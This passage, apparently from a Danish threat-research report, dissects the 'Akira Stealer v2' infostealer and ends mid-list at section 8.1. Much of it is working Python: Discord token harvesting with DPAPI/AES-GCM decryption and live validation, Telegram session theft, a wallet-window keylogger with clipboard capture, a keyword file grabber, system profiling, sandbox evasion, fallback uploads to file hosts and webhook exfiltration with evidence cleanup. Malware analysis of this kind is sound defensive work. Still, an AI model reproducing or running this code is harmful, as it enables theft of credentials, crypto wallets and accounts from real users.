for name, path in walletsDesktop:
if os.path.isdir(path):
Utils.TaskKill(name.lower())
dest = os.path.join(Utils.get_temp_folder(), "Wallets", name)
shutil.copytree(path, dest, dirs_exist_ok=True)
data.desktop_wallets_count += 1
- Stjålne data: Keystore-filer (
*.dat,*.json), eksporterede private nøgler, wallet-konfiguration og transaktionshistorik. - Udbyttet: Wallet-indhold offline, som angriberen kan bruge til at godkende transaktioner.
7.8.3 Høst af Discord-tokens
Discord-tokens er autentificeringsartefakter, i praksis langlivede bearer-tokens, der kan give fuld adgang til en brugers konto uden loginoplysninger eller MFA. Det udnytter Akira ved at scanne browser- og appdatamapper for tokens, som forskellige Discord-klienter har gemt, blandt andre Discord Stable, Canary, PTB (Public Test Build) og endda modificerede forks som Lightcord.
Teknikken går efter LevelDB-filer under applikationens Local Storage, hvor autentificeringstokens ofte ligger i klartekst. Ved hjælp af regulære udtryk scanner malwaren disse .log- og .ldb-filer for mønstre, der matcher enten almindelige brugertokens eller MFA-aktiverede tokens.
For at øge pålideligheden og mindske støjen har Akira et valideringstrin: den sender en testforespørgsel til Discords endpoint /users/@me med hvert høstet token. Kun tokens, der autentificerer korrekt (HTTP 200), bliver eksfiltreret via webhook, typisk til en Discord-kanal under angriberens kontrol.
Metoden gør det muligt for angribere at kapre Discord-konti i realtid, udgive sig for offeret, skrabe DM'er og guilds eller sprede yderligere malware gennem social engineering, alt uden at udløse advarsler om nye logins.
import re, requests
patterns = [
r"[\w-]{24}\.[\w-]{6}\.[\w-]{27,100}", # User tokens
r"mfa\.[\w-]{84,100}" # MFA tokens
]
def harvest_discord(base, webhook_url):
db_dir = os.path.join(base, "Local Storage", "leveldb")
for file in os.listdir(db_dir):
if file.endswith(('.log', '.ldb')):
for line in open(os.path.join(db_dir, file), errors='ignore'):
for pat in patterns:
for token in re.findall(pat, line):
# Verify token
h = {"Authorization": token}
r = requests.get("https://discordapp.com/api/v9/users/@me", headers=h)
if r.status_code == 200:
uname = r.json()["username"] + "#" + r.json()["discriminator"]
payload = {"content": f"**Discord** {uname}: `{token}`"}
requests.post(webhook_url, json=payload)
- Validering: Sender kun gyldige tokens, hvilket forhindrer, at forældede JWT'er sendes afsted.
7.8.4 Telegram-sessionsfiler
Mål: Telegram Desktop/TData
def steal_telegram(tdata_path, dest_root):
if os.path.exists(tdata_path):
Utils.TaskKill("telegram.exe")
dest = os.path.join(dest_root, "Wallets", "Telegram")
shutil.copytree(tdata_path, dest, dirs_exist_ok=True)
data.has_telegram = True
- Filer: Mappen
tdatamed sessionsnøgler og mappenD877F...med secret- og unsecret-filer. - Anvendelse: Indlæses i angriberens Telegram-klient og giver fuld adgang til kontoen.
7.8.5 Keylogging af wallets i realtid
Kryptowallets er et af de mest attraktive mål for moderne infostealere. Akira rummer en keylogger, der kører i realtid og er skræddersyet til at stjæle wallet-loginoplysninger som seed-sætninger, private nøgler og adgangskoder i det øjeblik, de tastes ind. Til forskel fra generiske keyloggere aktiveres denne kun, når der registreres et kendt wallet-vindue, og det reducerer støjen markant og øger effektiviteten.
Modulet overvåger titlerne på aktive vinduer og sammenligner dem med en hardkodet liste over udbredte wallet-apps som MetaMask, Phantom, Atomic Wallet og andre. Så snart et matchende vindue har fokus, begynder den at optage tastetryk via systemomfattende tastaturhooks. Når brugeren trykker på Enter, opsnapper modulet med det samme indholdet af udklipsholderen, for brugere kopierer ofte hemmeligheder, når de opsætter eller logger ind på en wallet, og sender både det indtastede og udklipsdataene til angriberens webhook. Metoden er ekstremt effektiv, fordi den kombinerer to angrebsvektorer:
- Kontekstbevidst keylogging, der kun opsnapper følsomme wallet-input, når det er relevant.
- Kapring af udklipsholderen, der udtrækker kopierede recovery-sætninger eller modtageradresser, før de indsættes.
Tilsammen gør metoderne det muligt for angribere lydløst at kompromittere wallets i realtid, selv uden adgang til browseren eller eksfiltrering af filer.
import keyboard, pyperclip
class WalletKeylogger:
def __init__(self, wallet_titles):
self.buf = ""
keyboard.on_release(self.capture)
self.wallet_titles = wallet_titles
def capture(self, event):
title = pygetwindow.getActiveWindow().title
if any(w in title for w in self.wallet_titles):
if event.name == 'enter':
data = f"Keys:{self.buf}\nClip:{pyperclip.paste()}"
send_to_webhook(data)
self.buf = ""
else:
self.buf += event.name
- Udløserlisten: Vinduestitler, der blandt andet indeholder "MetaMask", "Phantom" og "Atomic Wallet".
- Udklipsholderen: Opsnapper kopierede seeds eller private nøgler.
7.8.6 Pakning og eksfiltrering
Når browserdata, loginoplysninger, wallet-oplysninger og tokens er indsamlet, går Akira videre med at samle byttet og eksfiltrere det på en gennemautomatiseret og lydløs måde. Trinnet er det sidste led i infektionskæden, og det er optimeret til pålidelighed og et minimalt forensisk fodaftryk. Først komprimeres alle indsamlede data, heriblandt browserdumps, logfiler og keyloggede wallet-oplysninger, til et ZIP-arkiv. Det sikrer, at hele datasættet kan overføres som én payload. Arkivet uploades derefter til flere offentlige fildelingstjenester som GoFile, File.io eller Oshi.at, afhængigt af hvad der er tilgængeligt. Platformene tilbyder anonym, midlertidig hosting og bruges ofte til at omgå firewalls i virksomheder eller blokering baseret på omdømme. Samtidig genereres en struktureret rapport, der sendes til angriberen via en Discord- eller Telegram-webhook. Den indeholder opsummerende statistik, altså hvor mange wallets der blev fundet, hvor mange tokens der var gyldige, og et direkte link til de stjålne data. Det giver angribere et hurtigt overblik over målets værdi uden at åbne arkivet.
Til sidst sletter malwaren den midlertidige mappe og arkivet fra disken og fjerner dermed i praksis de lokale forensiske beviser. Når en forsvarer opdager infektionen, er dataene allerede væk, og de er ofte ikke til at genfinde.
# 1) ZIP everything (including Wallets folder)
zip_path = shutil.make_archive(Utils.get_temp_folder(), 'zip', Utils.get_temp_folder())
# 2) Attempt upload to primary & fallback services
url = Webhook.uploadToGofile(zip_path) or Webhook.uploadFileio(zip_path) or Webhook.uploadToOshiAt(zip_path)
# 3) Report summary
embed = {
"title": "💰 Wallet & Token Exfiltration Report",
"fields": [
{"name": "Extension Wallets", "value": data.ext_wallets_count},
{"name": "Desktop Wallets", "value": data.desktop_wallets_count},
{"name": "Discord Tokens", "value": len(valid_tokens)},
{"name": "Telegram Sessions", "value": data.has_telegram},
{"name": "Archive Link", "value": url or "[upload failed]"},
]
}
Webhook.sendDataTG(Utils.get_temp_folder(), chatId, startup)
# 4) Cleanup local folder & ZIP
Utils.clear_client_folder()
7.9. Tyveri af Discord- og Telegram-tokens (klassen Discord)
Klassen Discord i Akira Stealer v2 kører en stærkt paralleliseret proces i flere trin for at høste både Discord-autorisationstokens og Telegram-sessionsdata. Nedenfor dissekerer vi hver komponent med præcise kodereferencer og illustrative eksempler.
7.9.1 Initialisering og optælling af stier
Ved instantieringen bygger konstruktøren to sæt af målstier:
# Discord client LevelDB directories
discord_paths = [
[f"{self.ROAMING}/Discord", "/Local Storage/leveldb"],
[f"{self.ROAMING}/Lightcord", "/Local Storage/leveldb"],
...
]
# Chromium-based browser LevelDB directories
browserPaths = [
[f"{self.ROAMING}/Opera Software/Opera GX Stable", "opera.exe", "/Local Storage/leveldb", ...],
[f"{self.LOCAL}/Google/Chrome/User Data", "chrome.exe", "/Default/Local Storage/leveldb", ...],
...
]
- Discord-stierne går efter officielle og uofficielle Discord-klienter under
%APPDATA%. - Browserstierne dækker brugerdatamapperne for udbredte browsere, inklusive undermapper til local storage og udvidelser.
Der startes tråde for hver post:
for patt in browserPaths:
t = Thread(target=self.get_btoken, args=[patt[0], patt[2]])
t.start()
for patt in discord_paths:
t = Thread(target=self.get_discord, args=[patt[0], patt[1]])
t.start()
Trådmodellen maksimerer I/O-gennemløbet og sonderer snesevis af mapper samtidig.
7.9.2 Logikken bag udtræk af tokens
Skrabning af tokens i klartekst fra browsere
get_btoken(path, arg) navigerer til hver LevelDB-mappe og undersøger .log- og .ldb-filer:
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}", errors="ignore"):
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", r"mfa\.[\w-]{80,95}"):
tokens = re.findall(regex, line)
for token in tokens:
self.tokens.append(token)
self.cehckToken(token)
- Regex'et
[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}matcher almindelige Discord-tokens. - Regex'et
mfa\.[\w-]{80,95}opsnapper MFA-tokens. - Dublettfjernelsen sker implicit: tokens lægges i
self.tokensfør valideringen.
Dekryptering af krypterede tokens i Discord-klienten
Discords klient krypterer poster i Local Storage under DPAPI med præfikset v10 eller v11. Det håndterer get_discord(path, arg):
# Read Local State to obtain encrypted master key
with open(path + "/Local State", 'r') as f:
local_state = json.load(f)
encrypted_key = b64decode(local_state['os_crypt']['encrypted_key'])[5:]
master_key = self.CryptUnprotectData(encrypted_key)
# Iterate LevelDB files for Base64 payloads
for file in os.listdir(path + arg):
if file.endswith((".log", ".ldb")):
for line in open(f"{path}{arg}/{file}"):
for token_part in re.findall(r"dQw4w9WgXcQ:([A-Za-z0-9+/=]+)", line):
ciphertext = b64decode(token_part)
token = self.decrypt_value(ciphertext, master_key)
self.tokens.append(token)
self.cehckToken(token)
- Gendannelse af masternøglen: Fjerner den fem byte lange DPAPI-header og kalder derefter
CryptUnprotectData, der indkapsler Windows DPAPI, for at dekryptere AES-GCM-nøglen. - Parsing af payloaden: Tokens har præfikset
dQw4w9WgXcQ:, en markør angriberen selv har valgt. Efter Base64-afkodningen delerdecrypt_value()IV og ciphertext op:def decrypt\_value(buff, master\_key): iv = buff\[3:15] payload = buff\[15:] cipher = AES.new(master\_key, AES.MODE\_GCM, iv) return cipher.decrypt(payload)\[:-16].decode()
7.9.3 Validering og eksfiltrering af tokens
Hvert udtrukket token valideres med et live API-kald:
headers = {"Authorization": token}
resp = requests.get("https://discordapp.com/api/v9/users/@me", headers=headers)
if resp.status_code == 200:
self.cehckToken(token)
- Ved et positivt svar afgør
cehckToken(), om det skal sendes via Telegram (useTg=True) eller en Discord-webhook:if useTg: self.sendTokenTg(token) else: self.send\_embed(token)
send_embedbygger en fyldig Discord-embed med brugerens metadata (username, discriminator, e-mail, Nitro-status, faktureringsoplysninger) ud fra felterne i
user_json = requests.get(...).json()
username = user_json["username"]
id = user_json["id"]
# embed fields: token, email, phone, IP, flags, Nitro, billing
sendTokenTgsender en sammenfatning i klartekst via Telegram-API'et.
7.9.4 Høst af Telegram-sessioner
Ud over Discord-tokens tager stealeren også sessioner fra Telegram Desktop:
@staticmethod
def steal_telegram():
src = f"{os.getenv('APPDATA')}/Telegram Desktop/tdata"
Utils.TaskKill("telegram.exe")
shutil.copytree(src, os.path.join(Utils.get_temp_folder(), "Telegram"))
- Afslutning af processen: Sikrer, at fillåse frigives.
- Rekursiv kopiering: Stjæler mappen
tdatamed brugersessioner, kontakter og cachede beskeder. - Eksfiltrering: Den stjålne mappe zippes og uploades via
sendFilesTG(), med downloadlinket indlejret i en Telegram-besked.
Akira Stealers Discord-modul kombinerer regex-baseret skrabning, AES-GCM-dekryptering understøttet af DPAPI, validering mod det levende API og eksfiltrering over flere protokoller (webhook og Telegram) og leverer dermed en gnidningsfri mulighed for at overtage konti på både Discord og Telegram.
7.10 Systemprofilering
Akira Stealer v2 har en omfattende systemprofileringsfase, der indsamler metadata om hosten, attributter fra miljøet og netværksoplysninger. Informationerne samles i klassen Data og pakkes senere sammen med de eksfiltrerede loginoplysninger. Nedenfor gennemgår vi profileringslogikken med direkte kodereferencer.
7.10.1 Initialisering af Data-klassen
Ved opstart oprettes en instans af Data:
class Data:
def __init__(self):
self.username = os.getlogin()
self.computerName = os.getenv("computername") or "Unable to get computer name"
self.system_info = f"Computer Name: {self.computerName}\n..."
...
self.ip = requests.get(url="https://api.ipify.org").text
ipdata = json.loads(requests.post(url=f"http://ip-api.com/json/{self.ip}").text)
self.country = ipdata.get("country")
self.countryCode = ipdata.get("countryCode", "").lower()
- Brugernavn og hostname: Hentes via
os.getlogin()og miljøvariablenCOMPUTERNAME. - IP-adresse: Hentes med
requests.get("https://api.ipify.org")og geolokaliseres derefter viaip-api.comfor land og ISO-kode.
7.10.2 Optælling af operativsystem og hardware
Med WMI-kommandoer (Windows Management Instrumentation):
# Operating System
self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout
# Total Physical Memory
self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)
# BIOS UUID
self.uuid = subprocess.run('wmic csproduct get uuid', ...)
# CPU Identifier
self.cpu = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:System...\Processor_Identifier'", ...)
# GPU Name
self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)
# Windows Product Key
self.productKey = subprocess.run("powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault", ...)
Resultaterne parses til læsbare strenge (strip(), indeksoperationer) og sættes sammen til:
self.system_info = (
f"Computer Name: {self.computerName}\n"
f"Total Memory: {self.totalMemory}\n"
f"CPU: {self.cpu}\n"
f"GPU: {self.gpu}\n"
f"Product Key: {self.productKey}"
)
7.10.3 VM-detektion og anti-sandkassetjek
Før den dybere profilering kalder malwaren VmProtect.isVM(level) for at opdage virtualiserings- og analysemiljøer:
if VmProtect.isVM(1):
sys.exit()
De vigtigste tjek er:
- Registry-nøgler og driverbeskrivelser: Forespørger registry-poster knyttet til virtualisering.
- Blacklistede UUID'er og computernavne: Matcher mod kendte VM-fingeraftryk.
- HTTP-simulering: Forsøger at forbinde til et ikke-eksisterende domæne over HTTPS.
- Blacklist over processer: Starter en baggrundstråd, der dræber værktøjer som
wireshark,ollydbgogida64.
7.10.4 Pakning og afsendelse
Den indsamlede system_info, IP-adressen og landeflaget indlejres i headerne for webhook-payloaden:
webhook_payload = {
"embeds": [{
"title": f"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}",
"description": description + "\n```⚙️ System Info\n" + self.system_info + "```",
"fields": [...]
}]
}
requests.post(self.webhook_url, json=webhook_payload)
- Flag-emojien: Afledes af ISO-landekoden.
- Felterne: Indeholder antallet af stjålne adgangskoder, cookies og lignende, men systemoplysningerne ligger i embeddets description, så konteksten er umiddelbart tilgængelig.
Sammenfatning: Systemprofileringen i Akira Stealer v2 indsamler omfattende data om host og netværk via WMI-kommandoer, miljøvariabler og IP-geolokalisering. Sammen med VM-detektionen og rutinerne, der dræber værktøjer, sikrer det, at angriberen har et fuldt øjebliksbillede af det kompromitterede miljø. Det gør målrettede opfølgende handlinger nemmere og sorterer analysesandkasser fra.
7.11 Filindsamleren (klassen Utils.steal_files)
Ud over browserdata og tokens forsøger Akira også at udtrække værdifuldt brugergenereret indhold som dokumenter, regneark, private noter og kryptografiske nøglefiler. Det er File Grabber-modulets opgave. Det scanner mapper med høj værdi for udbredte filtyper og mønstre og lægger dem derefter lydløst i eksfiltreringspakken. Det, der gør modulet særligt farligt, er dets enkelhed og fokus: det forsøger ikke at gennemsøge hele filsystemet. Det går derimod efter bestemte, sandsynlige placeringer, hvor følsomme filer typisk ligger. Det gælder mapperne Desktop, Documents, Downloads og OneDrive, hver især relativt til brugerens hjemmesti. Den fokuserede tilgang øger både hastighed og stealth og mindsker sandsynligheden for at blive opdaget under scanningen. Den undgår også at gøre brugeren opmærksom, fordi den ikke rører system- eller beskyttede mapper. Når de interessante filer er fundet, kopieres de til en midlertidig mappe, eventuelt omdøbt eller grupperet, og komprimeres senere til det endelige ZIP-arkiv, der uploades i eksfiltreringsfasen.
7.11.1 Optælling af målmapperne
Stealeren koncentrerer sig om fire mapper med højt udbytte:
searchFolders = [
"Desktop",
"Documents",
"Downloads",
"OneDrive"
]
Hver mappe fortolkes relativt til offerets hjemmemappe:
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
# proceed to scan
7.11.2 Filtrering på nøgleord og filtyper
Nøgleordslisten
Et foruddefineret sæt af delstrenge styrer udvælgelsen af filer. Kun filnavne, der indeholder mindst ét nøgleord, kommer i betragtning:
keywordsFiles = [
"passw", "seed", "mnemo", "phrase", "login", "wallet",
"crypto", "token", "backup", "secret", "account"
]
- Delvise match: Nøgleord som
passwopsnapper bådepasswords.txtogpassw_backup.docx. - Bred dækning: Omfatter termer om autentificering, wallets, krypto og tokens.
7.11.3 Tilladte filtyper
For at mindske støjen håndhæves en whitelist over filtyper:
allowed_extensions = [
".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx",
".jpg", ".png"
]
7.11.3 Størrelsesbegrænsning
Filer over 2 megabyte springes over for at optimere eksfiltreringshastigheden og undgå store overførsler:
file_size_mb = os.path.getsize(full_path) / (1024 * 1024)
if file_size_mb <= 2:
# eligible for copy
7.11.4 Rekursiv scanning og kopieringslogik
Når mapperne med høj værdi er identificeret, sætter Akira en rekursiv scanningsrutine i gang, der gennemløber undermapper og finder filer, som matcher bestemte nøgleord og filtyper. Fasen er bygget til præcision og stealth: kun filer, der matcher de foruddefinerede kriterier, altså filnavne med følsomme nøgleord og godkendte filtyper, kommer i betragtning. Logikken sikrer, at kun relevant, brugergenereret indhold bliver eksfiltreret. Den ignorerer systemfiler, caches og binærfiler og begrænser den enkelte fils størrelse til 2 MB for at mindske uploadstørrelsen og risikoen for at blive opdaget. Scanningsmetoden er lydløs, effektiv og optimeret til lydløst datatyveri i virkelige miljøer. Ved at kopiere de matchende filer til en staging-mappe og føre en liste over, hvad der blev taget, klargør Akira indholdet til pakning og eksfiltrering, samtidig med at dubletter og driftsmæssig støj holdes nede.
Kernerutinen steal_files() arbejder sådan her:
@staticmethod
def steal_files():
stolen_files = set()
temp_folder = Utils.get_temp_folder()
for folder in searchFolders:
current_path = os.path.join(os.environ['USERPROFILE'], folder)
if os.path.exists(current_path):
for root, _, files in os.walk(current_path):
for file in files:
lower = file.lower()
# Keyword check
if any(keyword in lower for keyword in keywordsFiles):
ext = os.path.splitext(lower)[1]
# Extension and size check
if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) <= 2 * 1024 * 1024:
# Prepare destination
files_dir = os.path.join(temp_folder, "Files")
os.makedirs(files_dir, exist_ok=True)
shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))
stolen_files.add(file)
data.stolen_files.extend(stolen_files)
De vigtigste punkter:
os.walk: Går rekursivt ned i undermapper.- Match uden hensyn til store og små bogstaver: Filnavne normaliseres via
lower(). - Atomar kopiering: Bruger
shutil.copyfor at bevare filens indhold. - Mængde af stjålne filnavne: Forhindrer dubletter, når den samme fil optræder to gange.
- Integration med
Data:data.stolen_filessamler listen over stjålne filer til den senere rapportering.
7.11.5 Arkivering og eksfiltrering
Efter indsamlingen zippes mappen Files og sendes afsted:
# Archive
Utils.zip_client_file() # creates CLIENT.zip from temp_folder
# Upload & Notify
akira.sendFilesTG(Utils.get_temp_folder(), startup)
hook.sendFilesTG(Utils.get_temp_folder(), startup)
zip_client_file(): Komprimerer hele temp-mappen, inklusiveFiles,Cookies,Passwordsog lignende.sendFilesTG(): Poster downloadlinket via Telegram eller en Discord-webhook og lister hvert stjålet filnavn:fields.append({ "name": "📂 Files", "value": "`" + "\n".join(data.stolen_files) + "`", "inline": False })
Konklusion:
File Grabber i Akira Stealer v2 jagter systematisk følsomme dokumenter med filtre på nøgleord og filtyper, respekterer en størrelsesgrænse på 2 MB af effektivitetshensyn og samler de stjålne elementer i et arkiv. Designet giver både bredde, flere mapper, og præcision, målrettede filtre, og det gør den til et af de mest virkningsfulde trin i malwarens livscyklus.
7.12 Eksfiltreringsstrategien
Eksfiltreringsmodulet håndterer de høstede tokens og øvrige artefakter (cookies, autofyld, logfiler) ved at stage dem i en struktureret mappe, komprimere dem til et arkiv, uploade dem til flere online filværter og sende detaljerede webhook-notifikationer. Dette afsnit skiller hvert trin ad med filstier, domæne-endpoints og kodereferencer, så alt kan spores.
7.12.1 Mappestruktur og filnavne
Akira organiserer alle indsamlede artefakter i en ren og hierarkisk struktur af midlertidige mapper. Designet gør pakningen effektiv og gør det let for angriberen at gennemgå udbyttet efter eksfiltreringen. Hver datakategori, for eksempel Tokens, Cookies, Passwords eller Screenshots, ligger i sin egen undermappe under en rodsti, der er navngivet efter offerets computer, for eksempel DESKTOP1234. Det strukturerede layout giver klarhed, mindsker dubletter og gør arkiverings- og uploadprocessen mere strømlinet. Det gør også automatisk parsing eller manuel inspektion langt lettere på angriberens side.
C:\Users\User\AppData\Local\Temp\DESKTOP1234\
├─ Tokens\
│ ├ token_ab12cd34.txt
│ └ token_ef56gh78.txt
├─ Cookies\
│ ├ Chrome_Cookies.txt
│ └ Discord_Cookies.txt
├─ Autofill\
├─ Passwords\
├─ Logs\
└─ Screenshots\
7.12.2 Staging af tokens og artefakter
Før eksfiltreringen stager Akira alle relevante artefakter i de tilsvarende undermapper. Tokenværdier skrives for eksempel til individuelle .txt-filer, så de hurtigt kan gennemses og valideres. Cookies, autofyld-poster og adgangskoder skrives på samme måde til strukturerede tekstfiler, navngivet efter browser. Trinnet standardiserer datalayoutet og gør det muligt for automatiserede værktøjer at holde styr på, hvad der blev høstet. Det sikrer også, at zip-arkivet senere har et forudsigeligt og angribervenligt format, uanset hvilke moduler der blev udløst.
import os, shutil
# Constants
TMP = os.getenv('TEMP')
ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))
# Prepare structure
for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:
os.makedirs(os.path.join(ROOT, sub), exist_ok=True)
# Save token
with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:
f.write(token)
- Tokens gemmes i separate små tekstfiler, så de hurtigt kan inspiceres.
- Cookiedumps fra
Chromium.GetCookies()skrives til{Browser}_Cookies.txt.
7.13.3 Oprettelse af ZIP-arkivet
Når stagingen er gennemført, komprimerer Akira hele mappen til et enkelt ZIP-arkiv. Arkivets filnavn følger en fast navnekonvention:
import zipfile, datetime
def create_archive(root_dir: str) -> str:
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
for dirpath, _, files in os.walk(root_dir):
for fname in files:
full = os.path.join(dirpath, fname)
rel = os.path.relpath(full, root_dir)
zf.write(full, rel)
return zip_path
- Arkivet navngives
DESKTOP1234_20250505T123456Z.zip, så det hænger sammen med værten.
Navnekonventionen for ZIP-filen
Arkivet navngives med computernavnet på den kompromitterede vært efterfulgt af et UTC-tidsstempel i ISO-format, hvilket sikrer entydighed og kronologisk orden.
import datetime, os
def create_archive(root_dir: str) -> str:
# Generate UTC timestamp in YYYYMMDDThhmmssZ format
ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')
# Construct ZIP filename: <ComputerName>_<Timestamp>.zip
zip_name = os.path.basename(root_dir) + f'_{ts}.zip'
zip_path = os.path.join(os.path.dirname(root_dir), zip_name)
return zip_path
Arkivet navngives med computernavnet på den kompromitterede vært efterfulgt af et UTC-tidsstempel i ISO-format, hvilket sikrer entydighed og kronologisk orden.
7.14.4 Uploadforløbet
Akira bruger en uploadstrategi i tre niveauer for at maksimere chancen for en gennemført dataeksfiltrering. Den forsøger først at uploade arkivet til GoFile.io via deres offentlige API, som returnerer et downloadlink. Er GoFile utilgængelig eller blokeret, falder den tilbage på File.io og derefter Oshi.at, så dataene altid bliver overført. Tjenesterne tilbyder anonym, kortlivet hosting, og det gør både nedtagning og sporbarhed svær. Scriptet opsnapper den endelige download-URL og gør den klar til levering via webhook.
- Primært: GoFile.io
- API til at hente servere:
GET https://api.gofile.io/servers - Upload-endpoint:
POST https://<server>.gofile.io/contents/uploadfile - Svarfeltet:
data.downloadPageindeholder den endelige URL.
- API til at hente servere:
- Fallback nr. 1: File.io
- Upload-endpoint:
POST https://file.io/medfiles={'file': open(...)} - Svar: JSON-feltet
link.
- Upload-endpoint:
- Fallback nr. 2: Oshi.at
- Upload-endpoint:
POST http://oshi.at/medfiles[]og parametreneexpire=43200, autodestroy=0. - Svar: Klartekst, der indeholder
DL: <url>.
- Upload-endpoint:
Kodeudsnit fra implementeringen:
import requests
def upload_with_fallback(zip_path):
# GoFile
try:
servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']
for srv in servers:
try:
r = requests.post(
f'https://{srv}.gofile.io/contents/uploadfile',
files={'file': open(zip_path,'rb')}, timeout=20)
url = r.json()['data']['downloadPage']
if url: return url
except: continue
except: pass
# File.io
try:
r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)
return r.json().get('link','')
except: pass
# Oshi.at
try:
text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text
return text.split('DL: ')[1].strip()
except: pass
return ''
7.15.5 Webhook-alarmer, angriberens hentning og grænserne for analytikerens indsigt
Efter uploaden af ZIP-arkivet sender Akira en webhook-notifikation, typisk til Discord eller Telegram, med en struktureret embed, der indeholder detaljerede oplysninger: antallet af stjålne tokens, antallet af cookies, filstørrelsen og et klikbart downloadlink. Det giver angribere øjeblikkelig tilbagemelding og adgang til at hente udbyttet. For at sikre pålideligheden sendes desuden en fallback-besked i klartekst, der kun indeholder arkivlinket. Redundansen garanterer levering, også hvis platformen blokerer eller frafiltrerer embeddet. Set fra forsvarerens side er denne kommunikation ofte usynlig, medmindre der er overvågning af udgående netværkstrafik på plads.
Notifikationen med embed
# Build embed with key metadata
token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))
fields = [
{'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},
{'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},
{'name':'🔑 Tokens','value':str(token_count),'inline':True},
{'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},
{'name':'🔐 Passwords','value':str(data.password_count),'inline':True},
]
payload = {
'username':'Akira 💊',
'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]
}
requests.post(webhook_url, json=payload, timeout=8)
- Levering: Sendes til angriberens Discord- eller Telegram-kanal.
- Linket i embeddet: Indeholder en klikbar
download_url, der peger på ZIP-filen på GoFile eller en fallback-vært.
Fallback med rent link
# Ensure attacker always has direct URL, even if embeds fail
message = f"📥 Archive available at: {download_url}"
requests.post(webhook_url, data={'message': message}, timeout=8)
- Klartekst: Garanterer, at linket bliver leveret, hvis embeds blokeres eller lydløst kasseres.
Sådan får angriberen linket
1. Webhook-infrastrukturen Angriberen indlejrer webhook-endpointet i malwarens konfiguration:
# at class initialization
self.default_webhook = "%DISCORD_OR_TG_WEBHOOK_URL%"
- Discord:
https://discord.com/api/webhooks/<WEBHOOK_ID>/<WEBHOOK_TOKEN> - Telegram:
https://api.telegram.org/bot<TELEGRAM_TOKEN>/sendMessage
2. Levering i realtid Umiddelbart efter en gennemført filupload kører malwaren:
payload = {
'username': 'Akira 💊',
'embeds': [{
'title': '🗄️ Exfiltration Complete',
'fields': [
{'name': '🗂️ Archive', 'value': f'[Download ZIP]({download_url})'}
]
}]
}
# Transmit the archive URL entirely in the JSON body
requests.post(self.default_webhook, json=payload, timeout=8)
- Variablen
download_urlinterpoleres ind i embeddetsfields.value. - Ved fallback til Telegram optræder
download_urli klartekstparameterenmessage.
3. Begrænsningerne i EDR- og forensisk indsigt
- Ingen lokal logning: Malwaren skriver ikke
download_urltil disk eller systemlogfiler. - Blinde vinkler i EDR: Værktøjer som Microsoft Defender for Endpoint kan flagge forsøget på HTTP-forespørgslen, men kan ikke udtrække den indlejrede URL.
4. Derfor kan analytikeren ikke genfinde det lokalt:
- Ingen lokal kopi af linket: Malwaren skriver
download_urludelukkende i hukommelsen og sender den over netværket, den gemmer ikke URL'en på disk eller i logfiler. - Oprydning af det flygtige staging-område: Umiddelbart efter uploaden kører koden:
shutil.rmtree(ROOT),
som sletter alle stagede artefakter, herunder eventuelle midlertidige tekstfiler, fra%TEMP%. - Overførsel kun over netværket: Webhook-kaldene (
requests.post) sker i hukommelsen, og der oprettes ingen HTTP-logfiler eller poster i browserhistorikken på offerets maskine.
Hvad det betyder for analytikere: Uden live pakkeopsamling, for eksempel et netværks-TAP eller en proxy, på eksekveringstidspunktet er den præcise
download_urlikke til at genskabe efter infektionen. Derudover slettes det eksfiltrerede arkiv automatisk fra hostingtjenesten, og det indsnævrer vinduet for forensisk hentning yderligere. Imaging efter infektionen eller værtsbaseret forensisk gendannelse vil ikke afsløre angriberens URL eller loginoplysninger til filværten, for der er ingen artefakter tilbage lokalt.
7.13 Konklusion
astor.py (Akira Stealer v2) er en omfattende, kommercielt distribueret stealer-værktøjskasse. Den kombinerer bred målretning, avanceret anti-analyse, dynamisk styring af infrastrukturen og datatyveri i hele stakken på tværs af loginoplysninger, krypto, systemprofilering og brugerfiler. Modulariteten og stealth kombineret med hurtige reinfektionsmetoder gør den til en af de teknisk mest avancerede stealere, vi har observeret i aktiv brug.
8. Cirkulær eksekveringskæde: en selvhelbredende loop
Et af de teknisk mest avancerede elementer i kampagnen er dens regenerative, cirkulære eksekveringsmodel. Til forskel fra konventionel malware med lineære trin, der går fra dropper til payload og derefter forsvinder, er denne operation konstrueret som en lukket løkke, hvor hver komponent holder øje med de andre.
Den selvhelbredende arkitektur gjorde infektionskæden ikke bare vedholdende, men også autonom. Den kunne genskabe sig selv fuldstændigt efter delvise oprydninger. Så længe én brik var i live, kunne hele malware-økosystemet samle sig selv igen.
8.1 Adfærden trin for trin
- Persistensankeret (
